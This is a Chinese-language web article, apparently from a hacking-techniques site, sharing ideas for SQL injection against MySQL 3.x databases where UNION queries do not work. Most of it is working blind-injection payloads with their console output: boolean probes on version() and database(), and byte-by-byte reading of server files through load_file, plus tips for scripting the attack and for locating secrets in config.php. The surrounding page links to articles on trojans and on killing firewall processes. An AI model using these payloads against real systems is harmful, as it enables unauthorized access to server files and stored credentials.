关于mysql 3.0的注射的一点思路

所属分类: 实用技巧 / 漏洞研究 阅读数: 1630
收藏 0 赞 0 分享
mysql 3.0的注射  

对mysql的注射主要是靠union 的联合查询,但union只对版本4。0以上的有用,对3。0以下的就没用了。。。。。。。。。。  

所以在mysql 3.0的数据库里没办法使用union进行跨表查询,但可以使用load_file  
但是也不可以直接使用union替换出来。 下面就是我的一点思路:  

得到版本:  
mysql> select * from user where userid=1 and length(version())<10;  
Empty set (0.00 sec)  

mysql> select * from user where userid=1 and length(version())<1777;  
+--------+----------+----------+  
| userid | username | password |  
+--------+----------+----------+  
| 1 | angel | mypass |  
+--------+----------+----------+  
1 row in set (0.00 sec)  

得到当前数据库:  
mysql> select * from user where userid=1 and length(database())>0;  
+--------+----------+----------+  
| userid | username | password |  
+--------+----------+----------+  
| 1 | angel | mypass |  
+--------+----------+----------+  
1 row in set (0.00 sec)  

暴取文件代码:  
mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))<1;  
Empty set (0.05 sec)  

mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))>1;  
+--------+----------+----------+  
| userid | username | password |  
+--------+----------+----------+  
| 1 | angel | mypass |  
+--------+----------+----------+  
1 row in set (0.00 sec)  

因为工作量大,可以用程序来实现(不过也很麻烦)  
另外思路: 可以先使用字符处理函数得到"特殊字符的位置",如我们暴的是config.php文件我们就可以选取"localhost"(或其他)为特殊字符,先得到所在的位置(在哪个字节),在去猜它附近的,这样可以省去不少工作量。  
更多精彩内容其他人还在看

IDS入侵特征库创建实例解析

IDS入侵特征库创建实例解析
收藏 0 赞 0 分享

Access的跨库查询 (图)

Access的跨库查询 (图)
收藏 0 赞 0 分享

针对ACCESS漏洞又一发现

针对ACCESS漏洞又一发现
收藏 0 赞 0 分享

入侵之中杀防火墙进程的代码

入侵之中杀防火墙进程的代码
收藏 0 赞 0 分享

linux的病毒发展史及分类

linux的病毒发展史及分类
收藏 0 赞 0 分享

特络伊木马如何利用文件关联和设置名

特络伊木马如何利用文件关联和设置名
收藏 0 赞 0 分享

对RPC DCOM 蠕虫的设想

对RPC DCOM 蠕虫的设想
收藏 0 赞 0 分享

shell.application对象的漏洞描述

shell.application对象的漏洞描述
收藏 0 赞 0 分享

QQ尾巴病毒核心技术的实现

QQ尾巴病毒核心技术的实现
收藏 0 赞 0 分享

游戏外挂分析

游戏外挂分析
收藏 0 赞 0 分享
查看更多